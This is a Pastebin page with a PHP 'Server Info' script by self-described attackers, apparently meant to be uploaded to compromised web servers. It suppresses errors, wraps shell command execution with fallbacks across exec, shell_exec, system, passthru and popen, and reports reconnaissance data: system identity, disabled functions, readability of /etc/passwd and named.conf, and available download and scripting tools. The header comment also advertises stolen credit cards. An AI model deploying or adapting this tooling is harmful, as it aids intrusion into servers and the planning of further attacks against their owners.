Advertisement
Aluf

Server INFO [PHP]

Feb 6th, 2015
669
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.56 KB | None | 0 0
  1. <?
  2. /*
  3. This File Was Writed By xxxx
  4. ########################################################################
  5. ########################################################################
  6. ####                     Posts  © Aluf                              ####
  7. ####               http://Aluf.chatango.com                         ####
  8. ####                                                                ####
  9.   _____  .__          _____                                         ####
  10.   /  _  \ |  |  __ ___/ ____\                                       ####
  11.  /  /_\  \|  | |  |  \   __\                                        ####
  12. /    |    \  |_|  |  /|  |                                          ####
  13. \____|__  /____/____/ |__|     © Aluf-[www.pastebing.tk]            ####
  14.         \/                                                          ####
  15. ####   Message me anytime for any doubts .CC's i post might not     ####
  16. ####   be working  everytime,so message me for fresh cc's  .        ####
  17. ####   Website :   www.pastebing.tk                                 ####
  18. ####   If you need suggestion for the pastebin bots of chatango     ####
  19. ####   message me,lol i have run all the bots here myself,so        ####
  20. ####   i guess ,i know which is the worst and best   .              ####
  21. ####   Do not ask for my bot code on pm ,i quit years back .        ####
  22. ####   If you have doubts regarding other codes on my pastebin      ####
  23. ####   Still message me on Aluf or tyt or 93. [93 FOR COMPLAINS]    ####
  24. ####   I Have been getting a lot of messages lately for cc's        ####
  25. ####   and the worst part is many want to know to hack cc           ####
  26. ####   I cannot help you with that ,you have to find a way yourself ####
  27. ####   but ofc you can always ask for cc's but don't ask me how to  ####
  28.  ____  _     _     _____                                            ####
  29. /  _ \/ \   / \ /\/    /                                            ####
  30. | / \|| |   | | |||  __\                                            ####
  31. | |-||| |_/\| \_/|| |                                               ####
  32. \_/ \|\____/\____/\_/   ©   PMR [ Add me before messaging ]         ####
  33. ########################################################################
  34. Change Log:
  35. ----------
  36. 16/03/2013:
  37. 1-Add The Current Dir Option
  38. 2-Coloring Some Results
  39. ----------
  40. ******************************************************
  41.  
  42. */
  43.  
  44. @error_reporting(0);
  45.  
  46. function excute($cfe) {
  47.   $res = '';
  48.   if (!empty($cfe)) {
  49.     if(@function_exists('exec')) {
  50.       @exec($cfe,$res);
  51.       $res = join("\n",$res);
  52.     } elseif(@function_exists('shell_exec')) {
  53.       $res = @shell_exec($cfe);
  54.     } elseif(@function_exists('system')) {
  55.       @ob_start();
  56.       @system($cfe);
  57.       $res = @ob_get_contents();
  58.       @ob_end_clean();
  59.     } elseif(@function_exists('passthru')) {
  60.       @ob_start();
  61.       @passthru($cfe);
  62.       $res = @ob_get_contents();
  63.       @ob_end_clean();
  64.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  65.       $res = "";
  66.       while(!@feof($f)) { $res .= @fread($f,1024); }
  67.       @pclose($f);
  68.     } else { $res = "Ex() Disabled!"; }
  69.   }
  70.   return $res;
  71. }
  72.  
  73.         // Show Stat
  74.   function showstat($stat) {
  75.     if ($stat=="on") { return "<font color=green><b>ON</b></font>"; }
  76.     else { return "<font color=red><b>OFF</b></font>"; }
  77.   }
  78.   function named_conf(){
  79.   if(@is_readable('/etc/named.conf')){ return "<font color=green><b>Readable</b></font>";
  80.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  81.   }
  82.   function passwd(){
  83.   if(@is_readable('/etc/passwd')){ return "<font color=green><b>Readable</b></font>";
  84.   }else { return "<font color=red><b>Not Readable</b></font>"; }
  85.   }
  86.   function testoracle() {
  87.   if (@function_exists('ocilogon')) { return showstat("on"); }
  88.   else { return showstat("off"); }
  89.   }
  90.   function testpostgresql() {
  91.     if (@function_exists('pg_connect')) { return showstat("on"); }
  92.     else { return showstat("off"); }
  93.   }
  94.   function testmssql() {
  95.     if (@function_exists('mssql_connect')) { return showstat("on"); }
  96.     else { return showstat("off"); }
  97.   }
  98.   function testmysql() {
  99.     if (@function_exists('mysql_connect')) { return showstat("on"); }
  100.     else { return showstat("off"); }
  101.   }
  102.  
  103.   function showdisablefunctions() {
  104.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
  105.     else { return "<font color=green><b>NONE</b></b></font>"; }
  106.   }
  107.     function openbase_dir() {
  108.     if ($openbase_dir=@ini_get('open_basedir')){ return "<font color=red><b>".$openbase_dir."</b></font>"; }
  109.     else { return "<font color=green><b>NONE</b></b></font>"; }
  110.   }
  111.     function testfetch() {
  112.     if(excute('fetch --help')) { return showstat("on"); }
  113.     else { return showstat("off"); }
  114.   }
  115.     function testwget() {
  116.     if (excute('wget --help')) { return showstat("on"); }
  117.     else { return showstat("off"); }
  118.   }
  119.     function testperl() {
  120.     if (excute('perl --help')) { return showstat("on"); }
  121.     else { return showstat("off"); }
  122.   }
  123.     function testpy() {
  124.     if (excute('python --help')) { return showstat("on"); }
  125.     else { return showstat("off"); }
  126.   }
  127.       function testsh() {
  128.     if (excute('bash --help')) { return showstat("on"); }
  129.     else { return showstat("off"); }
  130.   }
  131.     function testcurl() {
  132.     if (@function_exists('curl_version')) { return showstat("on"); }
  133.     else { return showstat("off"); }
  134.   }
  135.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  136.     $safemode = TRUE;
  137.     $hsafemode = "<font color=red><b>ON (Secure)</b></font>";
  138.   }else{
  139.     $safemode = FALSE;
  140.     $hsafemode = "<font color=green><b>OFF (Not Secure)</b></font>";
  141.   }
  142.  
  143.   $pwd=str_replace('\\', '/', dirname(__FILE__)).'/';
  144.  
  145. echo "
  146. <html><head><title>x00x Server Info ~ ".$_SERVER['HTTP_HOST']." ~</title></head><body>
  147. <style type=text/css>
  148. body{background-color:#111;font-family:verdana;}
  149. .info{background-color:#fff; width=100%;}
  150. input,textarea{border:1px solid #000;}
  151. </style>
  152. <div class=info>
  153. <table bgcolor=#ff0000 width=100%px height=20px><tr>
  154. <td><font color=#fff size=1px><center>x00x Server Info[Coded By: DamaneDz] & [Update Ideas By:Mauritania Attacker]</center></font></td>
  155. </tr></table>
  156. <font color=#000 size=2px>
  157. <center><span><font color='#111'>
  158. <br> UName -a: <font color=blue>".@php_uname()." </font>|</br>
  159. <br> Hostname: <font color=blue>".$_SERVER['HTTP_HOST']."</font>|</br>
  160. <br> Software : <font color=blue>".@getenv("SERVER_SOFTWARE")." </font>| </br>
  161. <br> PHP Version: <font color=blue>".@phpversion()." </font>|</br>
  162. <br> Current Dir: <font color=blue>{$pwd} |</font></br>
  163. <br> ID:<font color=blue>" .@getmyuid()."(".@get_current_user().") </font>- UID:<font color=blue>".@getmyuid()."(".@get_current_user().") </font>- GID:<font color=blue>".@getmygid()."(".@get_current_user().") </font>|</br>
  164. <br> Your IP:<font color=blue>".$_SERVER["REMOTE_ADDR"]." </font>| The Server IP:<font color=blue>".@gethostbyname($_SERVER["HTTP_HOST"])." </font>|</br>
  165. <br> Safe Mode: $hsafemode | Open_BaseDir: ".openbase_dir()."|</br>
  166. <br> Disabled Functions: ".@showdisablefunctions()."|</br>
  167. <br> named.conf File is: ".named_conf()." | passwd File is: ".passwd()."</br>
  168. <br>
  169. MySQL: ".@testmysql()."|
  170. MSSQL: ".@testmssql()."|
  171. Oracle: ".@testoracle()."|
  172. PostgreSQL: ".@testpostgresql()."|
  173. cURL: ".@testcurl()."|
  174. Fetch: ".@testfetch()."|
  175. WGet: ".@testwget()."|
  176. Perl: ".@testperl()."|
  177. Python: ".@testpy()."|
  178. Bash: ".@testsh()."|
  179. </center>
  180. </font>
  181. <br/>
  182. </div>
  183. <p align='center'><font color='#FF00FF'>By DamaneDz & Mauritania Attacker<br/></font></p>
  184. <br/>
  185. ";
  186. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement